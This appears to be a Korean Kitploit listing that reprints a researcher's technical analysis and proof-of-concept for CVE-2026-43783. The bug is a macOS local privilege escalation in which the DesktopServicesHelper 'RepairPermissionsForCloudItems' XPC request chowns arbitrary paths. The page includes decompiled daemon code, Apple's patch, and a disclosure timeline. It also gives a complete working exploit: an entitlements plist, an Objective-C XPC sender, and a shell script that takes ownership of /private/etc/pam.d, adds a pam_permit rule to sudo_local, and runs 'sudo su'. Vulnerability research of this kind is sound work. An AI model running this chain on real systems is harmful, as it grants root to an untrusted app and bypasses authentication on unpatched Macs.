Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-43783 — CVE-2026-43783에 대한 Proof-of-concept 및 기술 분석 문서로, DesktopServicesHelper XPC를 통한 임의 chown으로 root 권한을 획득하는 macOS 로컬 권한 상승 취약점입니다. | Kitploit
도구/GitHubGitHub/andrd3v/cve-2026-43783
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringPenetration TestingBinary AnalysisPapers & Research
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

CVE-2026-43783에 대한 Proof-of-concept 및 기술 분석 문서로, DesktopServicesHelper XPC를 통한 임의 chown으로 root 권한을 획득하는 macOS 로컬 권한 상승 취약점입니다.

저장소 보기
26일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-43783: 권한 복구 - 루트 획득: macOS 26.5의 DesktopServicesHelper를 통한 LPE

Finder가 iCloud 파일의 권한을 "복구"하는 데 사용하는 데몬이 시스템 디렉터리를 포함한 모든 것의 권한을 복구하려 한다는 사실이 밝혀졌습니다. 이 글에서는 DesktopServicesHelper가 내부적으로 어떻게 작동하는지, 그리고 왜 단일 XPC 요청만으로 루트를 획득할 수 있었는지 살펴봅니다.

DesktopServicesHelper 내부

저는 com.apple.private.tcc.allow에 kTCCServiceSystemPolicyAllFiles 값을 가진 대상들을 찾고 있었는데, DesktopServicesHelper가 눈에 들어왔습니다. DesktopServicesHelper는 /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper에 위치하며, Finder는 파일 이동, 권한 설정, 휴지통 작업 등 상승된 권한이 필요한 파일 작업에 이를 사용합니다.

Entitlements DesktopServicesHelper

바이너리를 IDA에 로드하고 start()로 이동했습니다. 일반적인 타이머와 큐 설정을 지나면 XPC 리스너를 생성합니다 - 데몬의 진입점입니다. 리스너는 특정 이름으로 mach 서비스를 등록하고 들어오는 연결을 수신하기 시작합니다. 이 이름을 아는 모든 프로세스는 연결하여 요청을 보낼 수 있습니다. 핵심 부분은 다음과 같습니다:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
`sub_1000709F4` 함수는 mach 서비스 이름을 반환합니다. `start()`에서 인자 0으로 호출되는데, 이는 데몬이 `com.apple.DesktopServicesHelper`라는 이름으로 등록된다는 의미입니다.```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48은 데몬이 들어오는 모든 이벤트마다 호출하는 핸들러 블록(콜백)입니다. XPC는 메시지 기반입니다. 클라이언트가 키와 값으로 딕셔너리를 구성해 데몬에 보내면, 데몬이 내용을 파싱해 무엇을 할지 결정합니다. 들어오는 모든 이벤트는 이 핸들러로 전달됩니다. 내부를 살펴보겠습니다.

IDA에서의 stru_1000B4B48

블록의 invoke 함수는 sub_100032044입니다. 새 연결이 들어오면 데몬은 먼저 클라이언트의 euid와 egid - 유효 사용자 ID와 그룹 ID, 즉 연결하는 프로세스가 실행되는 사용자와 그룹의 식별자 - 를 가져옵니다:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
그런 다음 연결에서 수신되는 메시지에 대한 핸들러를 할당합니다:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - 클라이언트로부터의 실제 XPC 요청이 도착하는 곳입니다. 이제 데몬이 어떤 요청을 실행하고 어떤 요청을 거부할지 어떻게 결정하는지 이해해야 합니다.

요청 디스패처

sub_10003AB2C는 메인 디스패처입니다. 여기서 데몬은 요청을 어떻게 처리할지 결정합니다. 함수가 크기 때문에 나눠서 살펴보겠습니다.

먼저, 메시지에서 "request" 문자열을 가져옵니다. 이는 클라이언트가 실행하고자 하는 명령 이름입니다:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
그런 다음 데몬은 연결하는 프로세스의 감사 토큰을 검색하고 해당 프로세스가 App Sandbox 내에서 실행 중인지 확인합니다. App Sandbox는 파일 시스템, 네트워크 및 기타 리소스에 대한 접근을 제한하는 macOS 애플리케이션 격리 메커니즘입니다. 여기서 분기가 나뉩니다:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

클라이언트가 샌드박스에 격리된 경우 - 요청 이름이 일곱 개 문자열의 허용 목록과 대조된다. 일치하면 - 검사를 통과하고 요청이 진행된다. 그렇지 않으면 - sub_100034250이 데몬을 종료시킨다. 클라이언트가 샌드박스에 격리되지 않은 경우 - 데몬은 kTCCServiceSystemPolicyAllFiles 값을 가진 com.apple.private.tcc.allow 엔타이틀먼트를 확인한다. 엔타이틀먼트가 없어도 역시 종료된다.

검사를 통과한 후, 요청은 두 개의 핸들러 테이블을 통과한다. 먼저 sub_10002F7C8, 그다음 sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
이제 핸들러 테이블을 살펴보겠습니다. 첫 번째 테이블(`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

여기서는 별다른 내용이 없다. 여덟 개의 핸들러(OperationSizing, SetChildPermissions, ...)가 있는데, 모두 entitlement 검사로 보호되어 있다. 하지만 두 번째 테이블이 있다 - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
21개의 핸들러가 있습니다. 디스패처는 캐스케이드 방식으로 동작합니다. 먼저 첫 번째 테이블(`sub_10002F7C8`, 8개 명령)에서 요청 이름을 조회합니다. 이들은 XPC 연결과 피어(클라이언트 객체)를 받지만 응답을 반환하지 않는 "fire-and-forget" 작업입니다. 찾지 못하면 두 번째 테이블(`sub_10002A194`, 21개 명령)을 검색합니다. 이들은 응답이 있는 작업으로, 추가로 클라이언트에 결과를 다시 보내기 위한 reply 객체를 받습니다.
거의 모든 명령은 흥미로운 동작을 하지 않거나 entitlement 검사로 보호되어 있습니다. 하지만 열려 있는 명령이 하나 있습니다 - `RepairPermissionsForCloudItems`. 그 핸들러를 찾아봅시다. 어셈블리에서 `sub_10002AA78`이 세 번째 인수로 함수 포인터를 받는 것을 볼 수 있습니다:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. 샌드박스에서 추가적인 entitlement 없이 접근할 수 있는 유일한 핸들러를 찾았다. 이제 이 핸들러가 수신한 데이터로 실제로 무엇을 하는지 살펴보자.

RepairPermissionsForCloudItems 핸들러 분석

핸들러 sub_10002D744는 세 가지 작업을 수행한다. 첫째, XPC 메시지에서 "Paths" 키를 추출하고 NSKeyedUnarchiver를 통해 문자열 배열로 역직렬화한다:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
그런 다음 각 경로를 `sub_100034B5C`를 통해 `sub_100029CE4`로 전달하여 "repair"가 필요한지 판단합니다. repair가 필요한 경로에 대해서는 `sub_10002A11C`를 호출합니다:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

경로 검증이 없습니다. 전달된 그대로 처리됩니다. sub_100029CE4 함수는 "repair"가 필요한지 확인합니다. 핵심 로직은 다음과 같습니다:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
검사 로직:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

복구가 필요한 경로에 대해서는 sub_10002A11C가 호출됩니다. 이는 결과들을 순회하면서 각각에 대해 sub_100029440을 호출하는 단순한 루프입니다. 다음은 sub_100029440의 핵심 로직입니다:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
그게 전부입니다. 데몬은 제공된 경로가 `~/Library/Mobile Documents/`나 어떤 iCloud 컨테이너에 있는지 확인하지 않고 해당 경로에 `fchown`을 호출합니다. 그리고 경로가 디렉터리라면, 함수는 그 내용 전체를 재귀적으로 순회하며 모든 항목에 `fchown`을 호출합니다.
다시 읽어보세요. 곱씹어 보세요. 아무 디렉터리나 넘기면 - 그 내용 전체를 소유하게 됩니다.

## 요약

XPC 요청에서 `fchown`까지의 전체 체인:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

하나의 XPC 요청 - 그리고 어떤 파일이나 디렉터리든 우리 것이 된다.

익스플로잇

이제 디스크 상의 어떤 경로든 임의로 chown할 수 있다. 이제 이것을 root로 승격시키기만 하면 된다. macOS에서 인증은 PAM을 통해 이루어진다. 설정 파일들은 /private/etc/pam.d/에 있다 - 비밀번호를 검사하는 프로그램마다 하나씩 파일이 있다: sudo, login, su 등. 이 디렉터리는 root:wheel이 소유한다. 따라서 우리의 chown으로 이 디렉터리의 소유권을 가져올 수 있다. 그런 다음에는 /private/etc/pam.d/sudo_local 파일을 다음 한 줄로 자유롭게 생성할 수 있다:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so`는 항상 성공을 반환하는 PAM 모듈입니다. `sudo`는 메인 설정 전에 `sudo_local`을 확인합니다. 결과: `sudo`가 더 이상 비밀번호를 묻지 않습니다.

하지만 함정이 있습니다. 샌드박스에서 `com.apple.DesktopServicesHelper`에 그냥 연결할 수는 없습니다. 샌드박스는 기본적으로 이 서비스에 대한 mach-lookup을 차단하기 때문입니다. 그러나 데몬 자체는 호출 프로세스가 샌드박스화되었는지 확인하고, 그런 경우에만 엔타이틀먼트 검사 없이 `RepairPermissionsForCloudItems`를 통과시킵니다. 아이러니는 여기에 있습니다. 여기서 샌드박스는 방어가 아니라 통행증입니다.

샌드박스를 통과해 mach-lookup을 수행하려면 `com.apple.security.temporary-exception.mach-lookup.global-name` 엔타이틀먼트가 필요합니다. 다음은 PoC 애플리케이션을 위한 최소 엔타이틀먼트 집합입니다:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

두 개의 entitlement. com.apple.security.app-sandbox - 샌드박스를 활성화합니다(이것이 없으면 데몬이 TCC entitlement를 요구하며 우리를 거부할 것입니다). com.apple.security.temporary-exception.mach-lookup.global-name - 샌드박스 예외 entitlement입니다. 샌드박스는 모든 mach 서비스에 대한 연결을 허용하지 않으며, com.apple.DesktopServicesHelper는 허용 목록에 없습니다. 이 키는 특정 서비스에 대한 예외를 추가합니다. 그게 우리에게 필요한 전부입니다. 코드는 ViewController.m에 바로 들어갑니다. 핵심 메서드는 chownPath:이며, 이는 데몬에 연결하여 요청을 보냅니다:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
`com.apple.DesktopServicesHelper`에 연결하고, `NSKeyedArchiver`를 통해 경로를 `NSArray`로 아카이브한 뒤(데몬이 기대하는 형식대로), 키 `"request"` = `"RepairPermissionsForCloudItems"`로 XPC 딕셔너리를 구성하여 전송합니다.

앱 실행 시, `/private/etc/pam.d`에 대해 `chownPath:`를 호출하고 결과를 확인합니다:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms 대기 후 lstat - 소유자가 우리 UID로 변경되었다면 chown이 성공한 것입니다.

이제 모든 것을 종합해 봅시다. 셸 스크립트는 PoC 애플리케이션을 실행하고, 데몬이 작업을 수행할 때까지 기다린 다음, chown이 성공했는지 확인하고, PAM 규칙을 작성한 후 root 권한을 획득합니다:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## Apple의 패치
Apple은 `RepairPermissionsForCloudItems` 핸들러의 맨 처음에 엔타이틀먼트 검사를 추가했습니다:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

이제 com.apple.private.desktopservices.cloud-repair-perm private entitlement을 가진 프로세스만 RepairPermissionsForCloudItems를 호출할 수 있습니다. 이것이 없으면 sub_100034250이 데몬을 종료시킵니다. 함수의 나머지 로직은 변경되지 않았습니다.

타임라인

날짜이벤트
2026/05/09Apple Product Security에 보고서 제출
2026/05/11Apple이 보고서를 검토로 이동
2026/05/13Apple이 버그를 재현하고 가을에 수정 일정 예약

읽어주셔서 감사합니다, 즐거운 버그 헌팅 되세요!

도구 다운로드
2026/05/26macOS 26.6 beta 1에 패치 적용
2026/08/11CVE-2026-43783 할당